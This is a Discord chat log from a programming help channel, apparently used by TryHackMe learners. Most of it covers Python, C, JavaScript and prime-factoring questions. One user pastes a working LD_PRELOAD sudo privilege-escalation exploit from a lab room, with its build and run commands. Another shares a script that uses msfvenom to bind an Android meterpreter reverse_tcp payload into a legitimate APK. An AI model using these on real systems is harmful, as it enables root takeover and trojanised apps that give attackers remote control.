  team = team_class.Team()

Because this will not work

surreal bronze
#

Why do you want to avoid dictionarys?

true pumice
#

I do not want to create constant for loops when I need the information, looks messy to me

surreal bronze
#

Wdym for loop?

#

Can't you just do

team["name"]

true pumice
#

Not only that but it looks like this:

    teams = {
        "team1": team_class.Team(), 
        "team2": team_class.Team(), 
        "team3": team_class.Team(), 
        "team4": team_class.Team()
        }

    print(teams["team1"].team_name)

Ignore the indent

surreal bronze
#

Ah I see

#

I personally think that looks fine, at least, that's how I would do it

true pumice
#

If there is no other way, apart from globals(), I will continue using them but it is not something I necessarily want.

onyx merlin
#

I still can't work out what you're doing

surreal bronze
#

^

#

I may be thinking about something completely different to what you want

#

But what about using a namedtupel

true pumice
#

Basically, I am creating a program but I am trying to avoid using lots of print statements.
The program requires a lot of user input to navigate between screens.
Instead of doing

print(team1.name)
print(team2.name)
print(team3.name)
print(team4.name)

I simply want to just do

for x in y:
  print(team.name)

I know how to do it with dictionaries but I was wondering if there was another way to do it.
I want to make the whole program as dynamic as I can without going into advanced constructs etc.

surreal bronze
#

Ohhhh

#

That makes sense

#

Right

tulip sail
#

Just stick your objects in an array

surreal bronze
#

Do you know how many teams there will be?

tulip sail
#

Heck, it's all done by reference anyway, so you could outright have both ๐Ÿคทโ€โ™‚๏ธ

true pumice
#

I think I might have just solved my own problem, hold on

surreal bronze
#

Would a named tupel be of any use

#
import collections

Person = collections.namedtuple('Person', 'name age gender')

print 'Type of Person:', type(Person)

bob = Person(name='Bob', age=30, gender='male')
print '\nRepresentation:', bob

jane = Person(name='Jane', age=29, gender='female')
print '\nField by name:', jane.name

print '\nFields by index:'
for p in [ bob, jane ]:
    print '%s is a %d year old %s' % p
    ```
#

(yes, it works in python3)

true pumice
#

See I want something like this but it errors out:

    teamNames = ["team1", "team2",
            "team3", "team4"]

    teams = {
        "team1": team_class.Team(), 
        "team2": team_class.Team(), 
        "team3": team_class.Team(), 
        "team4": team_class.Team()
        }

    for name in teamNames:
        print(name.team_name)
#

I am probably missing something huge but I have no clue.

surreal bronze
#

un

#

Team names should be

#

teamNames = teams["team1"], teams["team2"]

true pumice
#

Yeah but my minor OCD is not happy with that kekw

surreal bronze
#

You and your OCD kekw

#

Hmmmm

true pumice
#

If it is the only way, I'll have to make do

surreal bronze
#
Team = namedtupel("Team",["class"])

Team1 = Team(team_class.Team())
....etc


teamNames = [team1, team2, etc]

for team in teamNames:
       print(team[0].team_name)
#

Like this???

#

@true pumice

true pumice
#

I'm here aniguns

stone kayak
#

@true pumice come here ????

true pumice
#

I think I am just going to stick with the dictionary and array version, I will just have to make it look pretty. Hah, thanks for your suggestions though :)

true pumice
surreal bronze
#

Also how come you aren't in bees server? :(

true pumice
#

I left all servers that were not active :p

stone kayak
#

"not active" NotLikeThis

#

you just werent in the cool hidden chats

true pumice
#

Seems like a you problem

stone kayak
#

seems like you're not in Bee's private cloud club

true pumice
#

Good.

lilac holly
#

How can i find the largest char on char array?

#

I have 10 in the array and idk how can i find the largest one

humble venture
#

Ok, So I'm not gonna do your work for you - But go through it like this:

#

You have an array of numbers.

#

You want to find the biggest.

#

How does the computer know which one is the biggest?

#

How would YOU pick the biggest number?

lilac holly
#

Thanks you @humble venture

glass cape
humble venture
#

There are lots of ways of doing it, and your programming language may have built in functions for it

glass cape
#

opretors

humble venture
#

evildevil - Back when I used to program, I'd pseudocode pretty much everything. I found that 60% of the work was just the pseudocode, Then throw syntax at it, then work out the complex bits, then spend a few days going mad because I can't figure out why it's not working. It's my process

humble venture
#

I was talking to Jabba about this the other day - He prefers to dive straight in with the code

vernal vigil
#

we go through 100s of trial and errors

humble venture
#

For small programs, it aint no thing. I was just amazed that he wasn't commenting his code as he went

vernal vigil
#

instead we should think ahead make a psuedo version like u said

vernal vigil
glass cape
humble venture
#

It's just a case of building good habits

glass cape
glass cape
vernal vigil
#

Tips:

  1. Define the problem, divide it into sub-problems
  2. Think about approaches u can use to solve those subproblems
  3. Write a psuedo code for the subproblem
    Repeat step 2 and 3 for a couple of times
  4. Write the actual code
humble venture
#

Oh 100%. Especially if you break it down by code-block. Makes it a little easier to debug

#

5.panic because deadline is approaching

vernal vigil
#
  1. Mess up everything
#
  1. Cry about it
glass cape
humble venture
#
  1. Stay up the nigh before and somehow perform a miracle of modern programming
glass cape
#

coy

vernal vigil
#

my stuff goes like.
Step 1 -5, then 6 on a loop

humble venture
#

I was actually gonna jump onto some C# a while back - Just before I got into THM. I was considering app dev

vernal vigil
#

I have to remove step 5 and 6 from my process cycle, and am trying to do it but its not going away lol

humble venture
#

Have you got any projects on at the moment, Potato?

vernal vigil
#

Well am working on a couple of University Projects rn.

#

i hope that they will end by end of Feb or Mid Feb, if everything goes right.

humble venture
#

Oh sweet

#

Anything fun?

vernal vigil
#

Yes, i do be making something like Shazam(the music identifier) but with a much bigger scope.{kinda}
If everything goes as planned it could even identify sounds like drip of water,buzzing of a bee

#

and similar minor things

#

Well,it is a team project so some of my teammates are working on Hardware and some of us are working on Software side of things.
I hope it would turn out good

humble venture
#

Sounds like fun

surreal bronze
#

Oh yes, and when learning to program, it's not all about writing it, it's about understanding what it does, this helps you when bug fixing as you know where to look for.

hoary shore
#

in the privllage escalation arena room there task 10 there is a sudo (LD_PRELOAD) priv esc and the exploit is written in C is there any way to convert this into python

#

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
#
gcc -fPIC -shared -o /tmp/x.so x.c -nostartfiles
#
sudo LD_PRELOAD=/tmp/x.so apache2
tulip sail
#

@hoary shore I am pretty sure you can't write shared objects in an interpreted language.
Actually, I'm completely sure you can't -- the whole point of them is that they contain pre-compiled functions to be linked into at a later date.

hoary shore
#

k

lilac holly
#

somone can help me? im try to do a program that take 10 names from the user and check if its panagram.. its mean all them have all the a b c d inside.. somone know how to do it?

#

and sorry about my english

tulip sail
#

It's possible to write them in C++ then use them with the regular C programs, but it would be unusual. That's about as good as you get.

lilac holly
#

The implication is that basically all the letters will be not in every word in the whole sentence

wispy tusk
#

I wrote a python program to solve this specific problem. It works fine for small numbers but is not giving any output for 14351. Can anyone have a look at my code and explain to me why it is not working? Thank You ^_^

cursive zephyr
#

For some reason i keep getting the same error My Code: if s == "y": Error: SyntaxError: invalid syntax the ^ symbol is under the :

wispy tusk
#

Must be for something above that line

#

can you send the code?

cursive zephyr
#

it's on my pi so im gonna send half of it maybe less

wispy tusk
#

okay

cursive zephyr
#
    if os.path.exists(FileName):
        s = raw_input("File exists you want to overwite?(y/n): "

        if s == "y":
            print("oke")```
solar hull
#

Are you missing a closing parenthesis on raw_input line?

cursive zephyr
#

XD yes

#

thank you

distant shard
#

@wispy tusk if temp is num, here's your problem

#

is is not for equality, it's to see if it's the same object.
Use ==

#

@lilac holly In what language?

distant shard
#

What do you have so far?

lilac holly
#

wdym

distant shard
#

What is your progress thus far?

lilac holly
#

I have an array and I pick up 10 strings and I'm trying to figure out what conditions I need to do

distant shard
#

Is it just the normal alphabet?

wispy tusk
distant shard
onyx merlin
#

It's also slower

wispy tusk
# distant shard

You cannot compare it like that. Put it in a variable and then check

distant shard
#

I ran it with your code and that's why it's breaking

#

The second I changed your is to ==, it worked

onyx merlin
#

Standards are set for a reason

#

is None is faster and it's what pep8 specifies.

distant shard
#

He's not comparing it to None though

#

He is comparing two integers

onyx merlin
#

Ok more coffee

distant shard
#

Man, I thought I needed more coffee for a second ๐Ÿ˜‚

wispy tusk
distant shard
#

Nah, is and == are equivalent for integers only within a certain range, I don't remember what range though.

wispy tusk
#

Oh.... gotcha!.. Thanks

distant shard
#

Found it. Apparently it's the range [-5, 256] because:
The reason for this being that Python automatically creates those integers prior to runtime rather than constructing them on the fly in order to save time, and thus these particular integers have ids before being needed in the program (https://stackoverflow.com/a/2239753)

#

@wispy tusk Also, all prime numbers apart from 2 are odd. So if you put 2 in your prime list and then start your loop at 3, incrementing by 2, it will save time.

primes = []
for i in range (2, num):
    if prime(i): primes.append(i)
primes = [2]
for i in range (3, num, 2):
    if prime(i): primes.append(i)
lilac holly
wispy tusk
onyx merlin
#

Also if you want a challenge it's trivially parallel

magic falcon
#

@wispy tusk is compares to a canonical object, == compares contents.

distant shard
#

@lilac holly Fill an array with 0's for each character (a = 0, b = 1, ... ), loop through the chars in a string and then increment the corresponding index in the array (so if the character is 'a', increment index 0). At the end of all strings, loop through the array and if a value anywhere is still 0, it hasn't been used and therefore, it isn't a pangram.

lilac holly
#

Thanks

#

Nice idea

distant shard
#

Keep capitalization in mind!

wispy tusk
lilac holly
#

@distant shard hmm can i do in the array variable?

#

sorry for my english

#

like int and float.. can i put in the array?

magic falcon
#

Strings are registered into a canonical list as they are used - every time a string literal is used, it gets looked up in the canonical list and either added or referenced to save time IIRC

#

Might be getting language specific VMs mixed up though

distant shard
#

@lilac holly What do you mean?

thin lynx
#

`#Bind Payload
read -p "[]Enter Original APK Path#~: " path
read -p "[
]Enter Output APK Name#~: " payload
read -p "[]Enter lhost#~: " lhost
read -p "[
]Enter lport#~: " lport
echo -e "\e[31m[*]Payload Binder Started..;p\e[0m"
msfvenom -x $path -a dalvik --platform android -p android/meterpreter/reverse_tcp lhost=$lhost lport=$lport R> $payload.apk

#Msfconsole listner start
echo -e "\e[34m \e[2m";`
this little script binds a reverse tcp payload to an apk file
it also signs the app
but i have no idea how does it sign it
cuz i can't find anything related to signing in the code above
any idea?

lilac holly
distant shard
#

int arr[10] = {0}

onyx merlin
#

@thin lynx piping the output of msfvenom to a file like that hurts me in my soul.

#

Use -o

#

Because otherwise binary payloads often get cut short

thin lynx
#

do u see anything related to signing on this code?

#

i'm wonder how does it work?!

lilac holly
#

I did not understand how I was supposed to do this .. Can you send me an example?@distant shard

onyx merlin
distant shard
#

@lilac holly The alphabet has 26 letters so initialize an integer array of length 26 and fill it with zeroes.
Now, loop over your string. I will use "abc" as an example. 'a' is going to be the letter at index 0 of the array, 'b' is going to be 2, ...
Find a way to get 0 from 'a', 1 from 'b'.
If you get 'a', increment arr[0]
If you get 'b', increment arr[1]
...
At the end of your string, loop over your array and check if any position is 0. If it is, the character wasn't used and therefore not a pangram.

thin lynx
# onyx merlin I'd say it's somewhat related to the original APK but I don't think you should b...

that's not mine James
you can see the complete code here
https://github.com/TechBite-BD/Embedded-Apk/blob/master/embedded-apk.sh
it signed the app after infection
but i can't see anything related to signing in that code
i'm wonder how does it sign the app?!

brazen eagle
onyx merlin
brazen eagle
#

That byte is pretty mean as well

frozen smelt
#

Hey, i had a question in Bash about errors

#

how do i pop up an error if i pass more than required arguements

graceful quartz
#

Only guessing, maybe try and access 1 more than the arguments required, if it has a value there's too many arguments?

frozen smelt
#

yeaah that works wanted to also ask if there is a more efficient way

#

but thanks a lot for the tip

#

i will do that

onyx merlin
frozen smelt
#

ohh thanks a lot

#

this worked

cursive orchid
#

my code isn't working and i'm sad :((((((((((((

#

if anyone wants to vc to help me fix this i would appreciate xx

#

i cannot explain over text

#

this is in react btw

#

but is just a standard js issue

stone kayak
#

my code also isnt working

cursive orchid
#

snap

#

line 25 confirms there is no image

#

yet line 28 is still executed (but not 27)

#

but also the whole else statement is running

#

why ????????

#

i am simply going crazy

brazen eagle
#

compiler optimization?

#

sorry, I don't know enough about React other than I can never get it working properly

true pumice
#

I really should do my work but I really want to help >.<

brazen eagle
#

Help then

#

Whee, feels good when one of your pull requests gets merged!

#

Ok it was a bit of doc that anyone could have done

true pumice
#

Whoa! Do I hear negativity!? I do not see anyone else doing that "bit of doc" so clearly they could not have ๐Ÿ˜Ž

stone kayak
#

and college isn't too harsh

true pumice
#

Bee my code is no longer beautiful and I am just accepting it.

#

It has destroyed me.

stone kayak
#
__init__
__main__

^^ that code only runs when:

if __name__ == "__main__"```
#

and is super short

magic falcon
#

You have a lot of code that doesn't have coverage. Are you doing this profiling for some compliance reasons?

stone kayak
#

I'm at 95% rn

magic falcon
#

ah

#

that's a pretty fair amount of code that isn't reachable - that'd be a fail in on the compliance checklist ๐Ÿ™‚

stone kayak
#

@magic falcon do you happen to know how to fix the first error?

#

๐Ÿ˜ฆ

#

i cant figure it out

magic falcon
#

hmm

#

i'd need more info - is that an actual error or a warning that the code isn't reachable?

stone kayak
#

I fixed it!

#

It's a "design decision"

magic falcon
#

it looks like it's a context run problem

stone kayak
#

use python3 -m

#

instead of just python3

magic falcon
#

it will always be unreachable until you run it in the right user context, i think

#

if i am wrong, please share

stone kayak
magic falcon
#

nice work!

stone kayak
#

@magic falcon do you think if i ignore that in code coverage they'd care? You can really only reach that when you run the program as an app (not a module like pytest is doing) and it works as main() is tested ๐Ÿ˜„

magic falcon
#

honestly? it's a contextual thing

#

I think it's more valuable to ask: 'am i mocking the main() call sufficiently in my test cases'

#

if it's a compliance requirement, it's not negotiable in that way. you can argue about scope of whether that particular line is within the scoped boundary of the security control, and depending on what kind of coffee the auditor had, it may be accepted

#

if you can make an inductive argument that main() is sufficiently tested elsewhere...

#

IIRC pytest has a mocktest lib that is supposed to simulate objects in your test cases. Super useful for decoupling into unit tests from system or integration tests

stone kayak
#

That's a very good argument, I think it'd be more worthwhile for me to discuss these -- the requirements they gave me were probably intentionally vague, im testing against live web-servers (google.co.uk) and i wanted to talk about deploying a web-server specifically to test against too ๐Ÿ˜„

magic falcon
#

how familiar are you with the differences between unit, system and integration tests?

stone kayak
#

unit vs integration yes

#

system is that the whole thing?

magic falcon
#

system is a test of the whole thing

stone kayak
#

ahhh okayyy

magic falcon
#

like other things as well

#

like an actual db

#

instead of mocking up responses

stone kayak
#

im only doing unit-testing rn, and i suppose system testing via Click running the whole thing from the API as well as manual testing ๐Ÿ™‚

magic falcon
#

manual testing is teh suck

#

use mock ๐Ÿ™‚

#

simulate all your front end button click() calls, don't actually do them

#

devsecops

stone kayak
magic falcon
#

maybe? not familiar with CliRunner

stone kayak
#

it essentially tests the program as if you was manually testing it from the CLI

magic falcon
#

mock takes it a step futher

#

basically you can drop in a fake call to anything and give an expected response

#

really helpful when building a multi-api dependent front end

#

because you don't actually need the other apis to exist, you can fake stuff like json really easily to know if your edge case coverage is sufficient

stone kayak
#

I'm gonna talk about how I should have done that

#

They're probably gonna ask me "what could you have improved?"

magic falcon
#

are you into the infra side of devsecops as well, or just the code part?

lilac holly
#

Hi, somone can help me with bubbleSort?

#

i need to use it in my program buy I dont know about bubbleSort

#

in c language

brazen eagle
#

You do know what a bubble sort is right?

#

And what that sort particularly? It's slow and inefficient

#

Unless it's a homework assignment

vernal vigil
#

Bubble sort is a general sorting algorithm.

#

There are many resources online which can give you the idea.

#

If the assignment is not restricted to only bubblesort, id suggest looking for algorithms with better time complexities.

brazen eagle
#

Use quicksort

lilac holly
#

@brazen eagle its not homework im learning to test tomorrow and i dont know what is it bubbleSort..

solar hull
#

If you donโ€™t know what itโ€™s for, and donโ€™t have a strict requirement to use it, donโ€™t use it.

brazen eagle
#

Sorting algorithms as folk dances. Enjoy

cursive orchid
#

please

#

help

#

how can my code possibly be executing both the if and else block simultaneously

brazen eagle
#

normally it can't

#

are you absolutely certain the code in the if is executing

cursive orchid
#

i posted on stack overflow

#

yes

#
if (oldCells[index].image) {
    console.log('Current cell already has an image, placing 7 cells before');
    oldCells[index - 7] = image;
} else {
    console.log('Current cell is empty, placing here');
    oldCells[index] = image;
}
brazen eagle
#

normally javascript's hoisting doesn't affect variables in a different scope...

cursive orchid
#

the WHOLE else block executes, but it is also executing second line in the if block (not the console.log)

brazen eagle
#

unless you're getting some references crossed

cursive orchid
#

i have no idea ๐Ÿฅบ

true pumice
#

Query for you awesome programmers.
Where do you place comments and what do you write?

I am stuck between writing comments when necessary to explain complicated/ possibly confusing sections OR writing comments to explain basically everything. I think I want to go with the first one but I would love to see what others do.

#

*I would like personal opinions, not documents on writing comments.

magic falcon
#

I document everything. Every function has a style guide standard documentation comment description, including expected behavior, return type, and parameters.

#

Part of why I do that is documentation builders will scrape through and add it to the doxygen, javadoc or sphinxdoc output.

#

Another (bigger) part of why i do that is i am unlikely to be the person who ends up doing the maintenance on that codebase. Making everything as clear as possible means that whoever ends up with governance over that code will have fewer problems maintaining it

#

self documenting code is a lie, because ultimately what makes a codebase usable is the documentation around it, no one wants to crawl through your library to figure out how to use your API

wispy tusk
distant shard
#

Woops

solar hull
#

@magic falcon That's a great guideline. I'd also add that you should keep the code units (functions, methods etc) small enough for it to make easier to document them in a clear way.

magic falcon
#

@solar hull I'm a huge fan of BDD and TDD methodology for just that reason.

solar hull
#

BDD, TDD and documenting your code requires discipline. But once you do that, your code is in general better and easier to maintain.

magic falcon
#

i think many agile practices aren't doing enough to enable long term care and feeding of the codebase..... but YMMV ๐Ÿ™‚

solar hull
#

A lot of them are more about process than quality ๐Ÿ™‚

distant shard
#

@wispy tusk Yeah! That's what I was trying to do as well. I misremembered the upper bound, I thought it was the square root of the number. I think that might have been for something else though. My cryptography course has been a while.
You forgot the increment by 2 in the for-loop. Should shave off a minuscule amount but it's something!

solar hull
#

Not to mention the misuse and misinterpretation of agile practices.

magic falcon
#

In a lot of ways, I think the metrics go into many sprint-type practices are misleading. They are all about kanban cards completed, not how much effort each card actually takes

solar hull
magic falcon
distant shard
#

@wispy tusk Considerable running time improvement! 8.365s to 2.274s for n = 67423

#

Also, don't forget to change the is to == ;)

wispy tusk
distant shard
#

I got it down to 0.038s for 67423

wispy tusk
#

Amazing!

distant shard
#

The square root was for this!

#

I just applied it to the wrong thing

#

It was for the primality test

#
import math

def prime(number):
    if (number == 2 or number == 3): return True
    if (number <= 1 or number % 2 == 0 or number % 3 == 0): return False

    for i in range(5, int(math.sqrt(number)) + 1, 6):        
        if (number % i == 0 or number % (i + 2) == 0): return False
    
    return True

num = 67423
primes = [2]
end = (num + 1) // 2 + 1
for i in range (3, end, 2):
    if prime(i): primes.append(i)

# print(primes)

for i in primes:
    for j in primes:
        temp = i * j
        if temp == num: exit(f"\nThe equation is: {i} * {j} = {num}") 
#

Try that

wispy tusk
#

That's pretty cool!

#

I bet this can be a great base to building a fast tool for solving rsa cryptography challanges in CTF's

distant shard
#

I'd say so, yeah

onyx merlin
distant shard
#

@wispy tusk Made it faster. Shaved off a whole 0.01s by changing to this:

for i in primes:
    if (num % i != 0): continue
    exit(f"\nThe equation is: {i} * {int(num / i)} = {num}")
magic falcon
#

Are you doing any profiling on your code?

distant shard
#

Nah, just a simple time command on Linux

#

Nothing fancy

magic falcon
#

the builtin python profiling tools will help you dial in where you should be spending optimization efforts

#

i can see a couple of places in your code that would likely benefit from it

wispy tusk
#

Made a few changes here. This can shave off some more milliseconds I guess.
`
import math

def prime(number):
if (number <= 1 or number % 2 == 0 or number % 3 == 0): return False

for i in range(5, int(math.sqrt(number)) + 1, 6):        
    if (number % i == 0 or number % (i + 2) == 0): return False

return True

num = int(input("Enter the number : "))
primes = [2, 3, 5, 7]
end = (num + 1) // 2 + 1
for i in range (9, end, 2):
if prime(i): primes.append(i)
`

#

Starting the range from 9 makes sense as there are no numbers before it which can be divided by some other primes

wispy tusk
distant shard
#

@magic falcon Oh, most definitely. This isn't anything too serious. Just something to fiddle with.

brazen eagle
#

Though APIs should be thoroughly documented, internals aren't really supposed to be seen publicly. Though thorough testing and stuff helps document as well

distant shard
#

@wispy tusk Got it down to 0.02s, I think we did a decent job to get it there from 8.37s

brazen eagle
#

9 and 10 will always return false

distant shard
#

I upped the number to 348016. The old version was still running after 3 minutes, the new version had it in 0.04s

brazen eagle
#

Ah

#

Sure

distant shard
brazen eagle
#

you're trying to list all primes up to a given number?

distant shard
#

Multiplying two primes to get the number

brazen eagle
#

ah prime factors

distant shard
#

Yeah, I'm just noticing a little something something. In the intermediate prime list, some factors of 5 are making it through.

brazen eagle
#

probably won't be breaking RSA anytime soon

#

that would be a problem

#

though 5 is prime

#

15 isn't

distant shard
#

Seems fine now

#

I couldn't read

wispy tusk
#

Final Product ... Reduced the execution time to 0.000000003769 sec for test case: 67423

from math import sqrt
from time import time

start = time()
def prime(number):
    if (number <= 1 or not number % 2 or not number % 3): return False

    for i in range(5, int(sqrt(number)) + 1, 6):        
        if (not number % i or not number % (i + 2)): return False
    
    return True

num = int(input("Enter the number : "))
primes = [2, 3, 5, 7]
end = (num + 1) // 2 + 1
for i in range (9, end, 2):
    if prime(i): primes.append(i)

# print(primes)

for i in primes:
    if (num % i): continue
    print(f"Total execution time: {time() - start}")
    exit(f"\nThe equation is: {i} * {int(num / i)} = {num}")
#

I don't think it can be optimized more than this @distant shard . Already tried if (number <= 1 or not number % 2 or not number % 3 or not number % 5 or not number %7): return False but gives more or less same execution time

distant shard
#

The only optimizations left are for big numbers and I mean BIIIIIG

#

Alrighty, time for bed! ๐Ÿ˜‚
I meant to go hours ago but I wanted to see this through. Thanks for the good time!

#

It was a nice break from x86 ASM

surreal bronze
#

What are you trying to do?

#

@wispy tusk

#

Just out of interest

wispy tusk
distant shard
wispy tusk
surreal bronze
#

Oh I see interesting

#

Checkout this

#

In mathematics, the sieve of Eratosthenes is an ancient algorithm for finding all prime numbers up to any given limit.
It does so by iteratively marking as composite (i.e., not prime) the multiples of each prime, starting with the first prime number, 2. The multiples of a given prime are generated as a sequence of numbers starting from that prim...

#

Find all prime numbers up to a number extremely fast

#

Then you can just multiple by them

onyx merlin
#

bee

#

You meanie

stone kayak
#

implement it and then give me the implementation, I'll give you ยฃ10,000 for it

wispy tusk
#

hahahaha XD

distant shard
#

SCIENTISTS HATE HIM He broke modern encryption with this WEIRD SIMPLE TRICK [LEARN HOW NOW]

surreal bronze
#

LMAO

wispy tusk
#

Sorry i'm poor at maths xD

surreal bronze
wispy tusk